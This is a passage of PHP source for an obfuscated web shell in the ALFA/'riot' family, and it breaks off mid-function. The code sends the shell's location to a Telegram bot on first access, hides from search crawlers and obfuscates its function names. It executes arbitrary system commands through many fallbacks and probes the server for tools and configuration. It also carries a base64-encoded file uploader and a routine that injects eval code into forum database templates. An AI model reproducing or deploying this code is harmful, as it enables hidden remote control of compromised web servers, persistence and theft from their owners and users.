$chatId, 'text' => $message, 'parse_mode' => 'HTML' ]; $options = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), ], ]; $context = stream_context_create($options); @file_get_contents($url, false, $context); // Kirim notifikasi tanpa menunggu respon } // Fungsi untuk mendeteksi dan mengirim notifikasi saat sesi baru function checkAndNotifySession() { $cookieName = "webshell_session_tracker"; $currentUrl = "https://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; $mainDomain = "https://{$_SERVER['HTTP_HOST']}/"; $directory = str_replace($_SERVER['DOCUMENT_ROOT'], '', __FILE__); // Format pesan sesuai keinginan Anda $message = "WEBSHELL PROTECTION NOTIFICATION BY ALEXITHEMA\n" . "URL: {$currentUrl}\n" . "MAIN DOMAIN: {$mainDomain}\n" . "DIRECTORY WEBSHELL: {$directory}"; // Cek apakah cookie sudah ada if (!isset($_COOKIE[$cookieName])) { // Set cookie untuk menandai sesi, expires dalam 1 hari setcookie($cookieName, "active", time() + 86400, "/"); // Kirim notifikasi ke Telegram sendTelegramNotification($message); } } // Panggil fungsi ini di awal eksekusi file checkAndNotifySession(); $GLOBALS["oZgNypoPRU"] = [ "show_icons" => "1", ]; $CWppUDJxuf = "fu" . "n" . "ct" . "ion_" . "e" . "xist" . "s"; $aztJtafUXm = "cha" . "r" . "C" . "o" . "d" . "e" . "A" . "t" . ""; $OVpGNqqFZs = "e" . "v" . "al"; $psDEwGhsxg = "gz" . "inf" . "late"; if (!$CWppUDJxuf("b" . "a" . "se64" . "_en" . "c" . "ode" . "")) { function vcnvSCZgBz($data) { if (empty($data)) { return; } $b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0; $ac = 0; $enc = ""; $tmp_arr = []; if (!$data) { return $data; } do { $o1 = $aztJtafUXm($data, $i++); $o2 = $aztJtafUXm($data, $i++); $o3 = $aztJtafUXm($data, $i++); $bits = ($o1 << 16) | ($o2 << 8) | $o3; $h1 = ($bits >> 18) & 0x3f; $h2 = ($bits >> 12) & 0x3f; $h3 = ($bits >> 6) & 0x3f; $h4 = $bits & 0x3f; $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4); } while ($i < strlen($data)); $enc = implode($tmp_arr, ""); $r = strlen($data) % 3; return ($r ? substr($enc, 0, $r - 3) : $enc) . substr("===", $r || 3); } function charCodeAt($data, $char) { return ord(substr($data, $char, 1)); } function charAt($data, $char) { return substr($data, $char, 1); } } else { function vcnvSCZgBz($s) { $b = "b" . "a" . "se64" . "_en" . "c" . "ode" . ""; return $b($s); } } if (!$CWppUDJxuf("b" . "a" . "se" . "6" . "4" . "_d" . "ecod" . "e" . "")) { function zRtSHsbTzV($input) { if (empty($input)) { return; } $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int) $chr1); if ($enc3 != 64) { $output = $output . chr((int) $chr2); } if ($enc4 != 64) { $output = $output . chr((int) $chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; } } else { function zRtSHsbTzV($s) { $b = "b" . "a" . "se" . "6" . "4" . "_d" . "ecod" . "e" . ""; return $b($s); } } function __ZW5jb2Rlcg($s) { return vcnvSCZgBz($s); } function __ZGVjb2Rlcg($s) { return zRtSHsbTzV($s); } $GLOBALS["DB_NAME"] = $GLOBALS["oZgNypoPRU"]; foreach ($GLOBALS["DB_NAME"] as $key => $value) { $prefix = substr($key, 0, 2); if ($prefix == "us") { $GLOBALS["DB_NAME"]["show_icons"] = $value; $GLOBALS["DB_NAME"]["show_icons_rand"] = $key; } } unset($GLOBALS["oZgNypoPRU"]); if (!isset($_SERVER["HTTP_HOST"])) { exit(); } if (!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = ["Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spider"]; if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { header("HTTP/1.0 404 Not Found"); exit(); } } if (!isset($GLOBALS["DB_NAME"]["show_icons"])) { exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']'); } define("__ALFA_UPDATE__", "2"); define("__SYS_CONFIG_FOLDER__", "SYS_CONFIG"); define("__ALFA_POST_ENCRYPTION__", isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false); define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__ ? _AlfaSecretKey() : ""); $GLOBALS["__ALFA_COLOR__"] = [ "shell_border" => [ "key_color" => "#7502FF", "multi_selector" => [ ".header" => "border: 5px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}", ], ], "header_vars" => "#B501F7", "header_values" => "#00C3FF", "header_on" => "#7502FF", "header_off" => "#4c1eba", "header_none" => "#7502FF", "home_shell" => "#4c1eba", "home_shell:hover" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".home_shell:hover" => "color: {color};", ], ], "back_shell" => "#efbe73", "back_shell:hover" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".back_shell:hover" => "color: {color};", ], ], "header_pwd" => "#7502FF", "header_pwd:hover" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".header_pwd:hover" => "color: {color};", ], ], "header_drive" => "#7502FF", "header_drive:hover" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".header_drive:hover" => "color: {color};", ], ], "header_show_all" => "#7502FF", "disable_functions" => "#4c1eba", "footer_text" => "#B501F7", "options_list" => [ "key_color" => "#7502FF", "multi_selector" => [ ".content_options_holder .header center a" => "color: {color};", ], ], "options_list:hover" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".content_options_holder .header center a:hover" => "color: {color};", ], ], "options_list_header" => [ "key_color" => "#f00", "multi_selector" => [ ".txtfont_header" => "color: {color};", ], ], "options_list_text" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".txtfont,.tbltxt" => "color: {color};", ], ], "Alfa+" => [ "key_color" => "#06ff0f", "multi_selector" => [ ".riot_plus" => "color: {color};font-weight: unset;", ], ], "hidden_shell_text" => [ "key_color" => "#7502FF", "multi_selector" => [ "#hidden_sh a" => "color: {color};", ], ], "hidden_shell_version" => "#4c1eba", "shell_name" => "#4c1eba", "main_row:hover" => [ "key_color" => "#646464", "multi_selector" => [ ".main tr:hover" => "background-color: {color};", ], ], "main_header" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".main th" => "color: {color};", ], ], "main_name" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".main .main_name" => "color: {color};font-weight: unset;", ], ], "main_size" => "#00C3FF", "main_modify" => "#00C3FF", "main_owner_group" => "#00C3FF", "main_green_perm" => "#7502FF", "main_red_perm" => "#4c1eba", "main_white_perm" => "#3D4042", "beetween_perms" => "#00FFDB", "main_actions" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".main .actions" => "color: {color};", ], ], "minimize_editor_background" => [ "key_color" => "#7502ff", "multi_selector" => [ ".minimized-wrapper" => "background-color: {color};", ], ], "minimize_editor_text" => [ "key_color" => "#f5deb3", "multi_selector" => [ ".minimized-text" => "color: {color};", ], ], "editor_border" => [ "key_color" => "#7502ff", "multi_selector" => [ ".editor-explorer,.editor-modal" => "border: 2px solid {color};", ], ], "editor_background" => [ "key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => [ ".editor-explorer,.editor-modal" => "background-color: {color};", ], ], "editor_header_background" => [ "key_color" => "rgb(117, 2, 255)", "multi_selector" => [ ".editor-header" => "background-color: {color};", ], ], "editor_header_text" => [ "key_color" => "#00ff7f", "multi_selector" => [ ".editor-path" => "color: {color};", ], ], "editor_header_button" => [ "key_color" => "#1d5673", "multi_selector" => [ ".close-button, .editor-minimize" => "background-color: {color};", ], ], "editor_actions" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".editor_actions" => "color: {color};", ], ], "editor_file_info_vars" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".editor_file_info_vars" => "color: {color};", ], ], "editor_file_info_values" => [ "key_color" => "#00C3FF", "multi_selector" => [ ".filestools" => "color: {color};", ], ], "editor_history_header" => [ "key_color" => "#14ff07", "multi_selector" => [ ".hheader-text,.history-clear" => "color: {color};", ], ], "editor_history_list" => [ "key_color" => "#03b3a3", "multi_selector" => [ ".editor-file-name" => "color: {color};", ], ], "editor_history_selected_file" => [ "key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => [ ".is_active" => "background-color: {color};", ], ], "editor_history_file:hover" => [ "key_color" => "#646464", "multi_selector" => [ ".file-holder > .history:hover" => "background-color: {color};", ], ], "input_box_border" => [ "key_color" => "#7502FF", "multi_selector" => [ "input[type=text],textarea" => "border: 1px solid {color}", ], ], "input_box_text" => [ "key_color" => "#999999", "multi_selector" => [ "input[type=text],textarea" => "color: {color};", ], ], "input_box:hover" => [ "key_color" => "#B501F7", "multi_selector" => [ "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ], ], "select_box_border" => [ "key_color" => "#7502FF", "multi_selector" => [ "select" => "border: 1px solid {color}", ], ], "select_box_text" => [ "key_color" => "#FFFFEE", "multi_selector" => [ "select" => "color: {color};", ], ], "select_box:hover" => [ "key_color" => "#B501F7", "multi_selector" => [ "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ], ], "button_border" => [ "key_color" => "#B501F7", "multi_selector" => [ "input[type=submit],.button,#addup" => "border: 1px solid {color};", ], ], "button:hover" => [ "key_color" => "#B501F7", "multi_selector" => [ "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ], ], "outputs_text" => [ "key_color" => "#00C3FF", "multi_selector" => [ ".ml1" => "color: {color};", ], ], "outputs_border" => [ "key_color" => "#7502FF", "multi_selector" => [ ".ml1" => "border: 1px solid {color};", ], ], "uploader_border" => [ "key_color" => "#7502FF", "multi_selector" => [ ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};", ], ], "uploader_background" => [ "key_color" => "#7502FF", "multi_selector" => [ ".inputfile strong" => "background-color: {color};", ], ], "uploader_text_right" => [ "key_color" => "#FFFFFF", "multi_selector" => [ ".inputfile strong" => "color: {color};", ], ], "uploader_text_left" => [ "key_color" => "#7502FF", "multi_selector" => [ ".inputfile span" => "color: {color};", ], ], "uploader:hover" => [ "key_color" => "#B501F7", "multi_selector" => [ ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ], ], "uploader_progress_bar" => [ "key_color" => "#7502FF", "multi_selector" => [ ".up_bar" => "background-color: {color};", ], ], "mysql_tables" => "#7502FF", "mysql_table_count" => "#00C3FF", "copyright" => "#dfff00", "scrollbar" => [ "key_color" => "#1e82b5", "multi_selector" => [ "*::-webkit-scrollbar-thumb" => "background-color: {color};", ], ], "scrollbar_background" => [ "key_color" => "#000115", "multi_selector" => [ "*::-webkit-scrollbar-track" => "background-color: {color};", ], ], ]; $GLOBALS["__file_path"] = str_replace("\\", "/", trim(preg_replace("!\(\d+\)\s.*!", "", __FILE__))); $config = [ "AlfaUser" => $GLOBALS["DB_NAME"]["user"], "AlfaPass" => $GLOBALS["DB_NAME"]["pass"], "AlfaProtectShell" => $GLOBALS["DB_NAME"]["safemode"], "AlfaLoginPage" => $GLOBALS["DB_NAME"]["login_page"], ]; function decrypt_post($str) { if (__ALFA_POST_ENCRYPTION__) { $pwd = __ALFA_SECRET_KEY__; $pwd = __ZW5jb2Rlcg($pwd); $str = __ZGVjb2Rlcg($str); $enc_chr = ""; $enc_str = ""; $i = 0; while ($i < strlen($str)) { for ($j = 0; $j < strlen($pwd); $j++) { $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j])); $enc_str .= $enc_chr; $i++; if ($i >= strlen($str)) { break; } } } return __ZGVjb2Rlcg($enc_str); } else { return __ZGVjb2Rlcg($str); } } function _AlfaSecretKey() { $secret = @$_COOKIE["AlfaSecretKey"]; if (!isset($_COOKIE["AlfaSecretKey"])) { $secret = uniqid(mt_rand(), true); __riot_set_cookie("AlfaSecretKey", $secret); } return $secret; } function riot_getColor($target) { if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") { return $GLOBALS["DB_NAME"]["color"][$target]; } else { $target = $GLOBALS["__ALFA_COLOR__"][$target]; if (is_array($target)) { return $target["key_color"]; } else { return $target; } } } function riotCssLoadColors() { $css = ""; foreach ($GLOBALS["__ALFA_COLOR__"] as $key => $value) { if (!is_array($value)) { $value = riot_getColor($key); $css .= ".{$key}{color: {$value};}"; } else { if (isset($value["multi_selector"])) { foreach ($value["multi_selector"] as $k => $v) { $color = riot_getColor($key); $code = str_replace("{color}", $color, $v); $css .= $k . "{" . $code . "}"; } } } } return $css; } if (isset($_POST["ajax"])) { function AlfaNum() { $args = func_get_args(); $riotx = []; $find = []; for ($i = 1; $i <= 10; $i++) { $riotx[] = $i; } foreach ($args as $arg) { $find[] = $arg; } echo "'; } } function riotGetCwd() { if (function_exists("getcwd")) { return @getcwd(); } else { return dirname($_SERVER["SCRIPT_FILENAME"]); } } function riotEx($in, $re = false, $cgi = true, $all = false) { $data = _riot_php_cmd($in, $re); if ((empty($data) && $cgi) || $all) { if ($GLOBALS["sys"] == "unix") { if (strlen(_riot_php_cmd("whoami")) == 0 || $all) { $cmd = _riot_cgicmd($in); if (!empty($cmd)) { return $cmd; } } } } return $data; } function _riot_php_cmd($in, $re = false) { $out = ""; try { if ($re) { $in = $in . " 2>&1"; } if (function_exists("exec")) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists("passthru")) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists("system")) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists("shell_exec")) { $out = shell_exec($in); } elseif (function_exists("popen") && function_exists("pclose")) { if (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) { $out .= fread($f, 1024); } pclose($f); } } elseif (function_exists("proc_open")) { $pipes = []; $process = @proc_open($in . " 2>&1", [["pipe", "w"], ["pipe", "w"], ["pipe", "w"]], $pipes, null); $out = @stream_get_contents($pipes[1]); } elseif (class_exists("COM")) { $riotWs = new COM("WScript.shell"); $exec = $riotWs->exec("cmd.exe /c " . $_POST["riot1"]); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } catch (Exception $e) { } return $out; } function _riot_fsockopen($server, $uri, $post) { $socket = @fsockopen($server, 80, $errno, $errstr, 15); if ($socket) { $http = "POST {$uri} HTTP/1.0\r\n"; $http .= "Host: {$server}\r\n"; $http .= "User-Agent: " . $_SERVER["HTTP_USER_AGENT"] . "\r\n"; $http .= "Content-Type: application/x-www-form-urlencoded\r\n"; $http .= "Content-length: " . strlen($post) . "\r\n"; $http .= "Connection: close\r\n\r\n"; $http .= $post . "\r\n\r\n"; fwrite($socket, $http); $contents = ""; while (!@feof($socket)) { $contents .= @fgets($socket, 4096); } list($header, $body) = explode("\r\n\r\n", $contents, 2); @fclose($socket); return $body; } else { return ""; } } @error_reporting(E_ALL ^ E_NOTICE); @ini_set("error_log", null); @ini_set("log_errors", 0); @ini_set("max_execution_time", 0); @ini_set("magic_quotes_runtime", 0); @set_time_limit(0); if (function_exists("set_magic_quotes_runtime")) { @set_magic_quotes_runtime(0); } foreach ($_POST as $key => $value) { if (is_array($_POST[$key])) { $i = 0; foreach ($_POST[$key] as $f) { $f = trim(str_replace(" ", "+", $f)); $_POST[$key][$i] = decrypt_post($f); $i++; } } else { $value = trim(str_replace(" ", "+", $value)); $_POST[$key] = decrypt_post($value); } } $default_action = "FilesMan2"; //'FilesMan'; $default_use_ajax = true; $default_charset = "Windows-1251"; if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $GLOBALS["sys"] = "win"; } else { $GLOBALS["sys"] = "unix"; } $GLOBALS["home_cwd"] = @riotGetCwd(); $GLOBALS["need_to_update_header"] = "false"; $GLOBALS["glob_chdir_false"] = false; if (isset($_POST["c"])) { if (!@chdir($_POST["c"])) { $GLOBALS["glob_chdir_false"] = true; } } $GLOBALS["cwd"] = isset($_POST["c"]) && @is_dir($_POST["c"]) ? $_POST["c"] : @riotGetCwd(); if ($GLOBALS["glob_chdir_false"]) { $GLOBALS["cwd"] = isset($_POST["c"]) && !empty($_POST["c"]) ? $_POST["c"] : @riotGetCwd(); } if ($GLOBALS["sys"] == "win") { $GLOBALS["home_cwd"] = str_replace("\\", "/", $GLOBALS["home_cwd"]); $GLOBALS["cwd"] = str_replace("\\", "/", $GLOBALS["cwd"]); } if ($GLOBALS["cwd"][strlen($GLOBALS["cwd"]) - 1] != "/") { $GLOBALS["cwd"] .= "/"; } if (!function_exists("sys_get_temp_dir")) { function sys_get_temp_dir() { foreach (["TMP", "TEMP", "TMPDIR"] as $env_var) { if ($temp = getenv($env_var)) { return $temp; } } $temp = tempnam($GLOBALS["__file_path"], ""); if (_riot_file_exists($temp, false)) { unlink($temp); return dirname($temp); } return null; } } if (!function_exists("mb_strlen")) { function mb_strlen($str, $c = "") { return strlen($str); } } if (!function_exists("mb_substr")) { function mb_substr($str, $start, $end, $c = "") { return substr($str, $start, $end); } } define("ALFA_TEMPDIR", function_exists("sys_get_temp_dir") ? (@is_writable(str_replace("\\", "/", sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable(".") ? "." : false)) : false); $S7R1NG = "\xd\xe\x5\x3\x1\xa\x2\xf"; function riothead() { $GLOBALS["__ALFA_SHELL_CODE"] = "PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+"; $riot_uploader = '$x = base64_decode("' . $GLOBALS["__ALFA_SHELL_CODE"] . '");$riotexec = fopen("riotexec.php","w");fwrite($riotexec,$x);'; define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($riot_uploader) . "'))"); if (!isset($_POST["ajax"])) { function Alfa_GetDisable_Function() { $disfun = @ini_get("disable_functions"); $afa = 'All Functions Accessible'; if (empty($disfun)) { return $afa; } $s = explode(",", $disfun); $s = array_unique($s); $i = 0; $b = 0; $func = ["system", "exec", "shell_exec", "proc_open", "popen", "passthru", "symlink", "dl"]; $black_list = []; $allow_list = []; foreach ($s as $d) { $d = trim($d); if (empty($d) || !is_callable($d)) { continue; } if (!function_exists($d)) { if (in_array($d, $func)) { $dis .= $d . " | "; $b++; $black_list[] = $d; } else { $allow_list[] = $d; } $i++; } } if ($i == 0) { return $afa; } if ($i <= count($func)) { $all = array_values(array_merge($black_list, $allow_list)); return '' . implode(" | ", $all) . ""; } return '' . $dis . 'Show All (' . $i . ")"; } function AlfaNum() { $args = func_get_args(); $riotx = []; $find = []; for ($i = 1; $i <= 10; $i++) { $riotx[] = $i; } foreach ($args as $arg) { $find[] = $arg; } echo "'; } if (empty($_POST["charset"])) { $_POST["charset"] = $GLOBALS["default_charset"]; } $freeSpace = function_exists("diskfreespace") ? @diskfreespace($GLOBALS["cwd"]) : "?"; $totalSpace = function_exists("disk_total_space") ? @disk_total_space($GLOBALS["cwd"]) : "?"; $totalSpace = $totalSpace ? $totalSpace : 1; $on = " ON "; $of = " OFF "; $none = " NONE "; if (function_exists("ssh2_connect")) { $ssh2 = $on; } else { $ssh2 = $of; } if (function_exists("curl_version")) { $curl = $on; } else { $curl = $of; } if (function_exists("mysql_get_client_info") || class_exists("mysqli")) { $mysql = $on; } else { $mysql = $of; } if (function_exists("mssql_connect")) { $mssql = $on; } else { $mssql = $of; } if (function_exists("pg_connect")) { $pg = $on; } else { $pg = $of; } if (function_exists("oci_connect")) { $or = $on; } else { $or = $of; } if (@ini_get("disable_functions")) { $disfun = @ini_get("disable_functions"); } else { $disfun = "All Functions Enable"; } if (@ini_get("safe_mode")) { $safe_modes = "ON"; } else { $safe_modes = "OFF"; } $cgi_shell = "OFF"; if (@ini_get("open_basedir")) { $basedir_data = @ini_get("open_basedir"); if (strlen($basedir_data) > 120) { $open_b = substr($basedir_data, 0, 120) . "..."; } else { $open_b = $basedir_data; } } else { $open_b = $none; } if (@ini_get("safe_mode_exec_dir")) { $safe_exe = @ini_get("safe_mode_exec_dir"); } else { $safe_exe = $none; } if (@ini_get("safe_mode_include_dir")) { $safe_include = @ini_get("safe_mode_include_dir"); } else { $safe_include = $none; } if (!function_exists("posix_getegid")) { $user = function_exists("get_current_user") ? @get_current_user() : "????"; $uid = function_exists("getmyuid") ? @getmyuid() : "????"; $gid = function_exists("getmygid") ? @getmygid() : "????"; $group = "?"; } else { $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : ["name" => "????", "uid" => "????"]; $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : ["name" => "????", "gid" => "????"]; $user = $uid["name"]; $uid = $uid["uid"]; $group = $gid["name"]; $gid = $gid["gid"]; } $cwd_links = ""; $path = explode("/", $GLOBALS["cwd"]); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "" . $path[$i] . "/"; } $drives = ""; foreach (range("a", "z") as $drive) { if (@is_dir($drive . ":\\")) { $drives .= '[ ' . $drive . " ] "; } } $csscode = " -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;"; echo '
Uname: | ' . $uname . ' | |
User: | ' . $uid . " [ " . $user . ' ] Group: ' . $gid . " [ " . $group . ' ] | |
PHP: | ' . @phpversion() . ' Safe Mode: ' . $safe_modes . ' | |
ServerIP: | ' . (!@$_SERVER["SERVER_ADDR"] ? (function_exists("gethostbyname") ? @gethostbyname($_SERVER["SERVER_NAME"]) : "????") : @$_SERVER["SERVER_ADDR"]) . ' Your IP: ' . @$_SERVER["REMOTE_ADDR"] . ' | |
DateTime: | ' . date("Y-m-d H:i:s") . ' | |
Domains: | '; if ($GLOBALS["sys"] == "unix") { $d0mains = _riot_file("/etc/named.conf", false); if (!$d0mains) { echo "Cant Read [ /etc/named.conf ]"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } echo "$count Domains"; } } else { echo "Cant Read [ /etc/named.conf ]"; } echo ' | |
HDD: | Total:' . riotSize($totalSpace) . ' Free:' . riotSize($freeSpace) . " [" . (int) (($freeSpace / $totalSpace) * 100) . '%] | |
useful:-------------- | Downloader: -------------- | '; if (!@ini_get("safe_mode")) { if (strlen(riotEx("id", false, false)) > 0) { echo '|
Useful : '; $userful = ["gcc", "lcc", "cc", "ld", "make", "php", "perl", "python", "ruby", "tar", "gzip", "bzip", "bziriot2", "nc", "locate", "suidperl"]; $x = 0; foreach ($userful as $item) { if (riotWhich($item)) { $x++; echo '' . $item . ""; } } if ($x == 0) { echo "--------------"; $GLOBALS["need_to_update_header"] = "true"; } echo ' | ||
Downloader: '; $downloaders = ["wget", "fetch", "lynx", "links", "curl", "get", "lwp-mirror"]; $x = 0; foreach ($downloaders as $item2) { if (riotWhich($item2)) { $x++; echo '' . $item2 . ""; } } if ($x == 0) { echo "--------------"; $GLOBALS["need_to_update_header"] = "true"; } echo ' | ||
Windows:'; echo riotEx("ver", false, false); echo ' | ||
Downloader: ------------- | ||
Disable Functions: ' . Alfa_GetDisable_Function() . ' | ||
CURL :' . $curl . ' | SSH2 : ' . $ssh2 . ' | Magic Quotes : ' . $magic . ' | MySQL :' . $mysql . ' | MSSQL :' . $mssql . ' | PostgreSQL :' . $pg . ' | Oracle :' . $or . " " . ($GLOBALS["sys"] == "unix" ? '| CGI : ' . $cgi_shell : "") . ' | ||
Open_basedir :' . $open_b . ' | Safe_mode_exec_dir :' . $safe_exe . ' | Safe_mode_include_dir :' . $safe_include . ' | ||
SoftWare: | ' . @getenv("SERVER_SOFTWARE") . ' | |
DRIVE: | ' . $drives . ' | |
PWD: | ' . $cwd_links . ' [ Home Shell ] |
Click Here !
"; } function riotShellInjectors() { riothead(); echo ""; AlfaNum(11); echo '"; riotfooter(); } function riotcheckfiletype() { $path = $_POST["path"]; $arg = $_POST["arg"]; if (@is_file($path . "/" . $arg)) { echo "file"; } else { echo "dir"; } } function riotcheckcgi() { if (strlen(riotEx("id", false, true, true)) > 0) { echo "ok"; } else { echo "no"; } } function is_ipv4($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : "(Null)"; } function __alert($s) { echo "'; if (isset($_POST["riot4"]) && !empty($_POST["riot4"])) { $method = $_POST["riot8"]; $faq_name = "faq"; $faq_file = "/faq.php"; $code = "{\${" . ALFA_UPLOADER . "}}{\${exit()}}&"; ($conn = @mysqli_connect($_POST["riot2"], $_POST["riot4"], $_POST["riot5"], $_POST["riot7"])) or die(@mysqli_connect_error()); $rec = "select `template` from " . $_POST["riot6"] . "template WHERE title ='" . $faq_name . "'"; $recivedata = @mysqli_query($conn, $rec); $getd = @mysqli_fetch_assoc($recivedata); $savetoass = $getd["template"]; if (empty($savetoass)) { $faq_name = "header"; $faq_file = "/"; $rec = "select `template` from " . $_POST["riot6"] . "template WHERE title ='" . $faq_name . "'"; $recivedata = 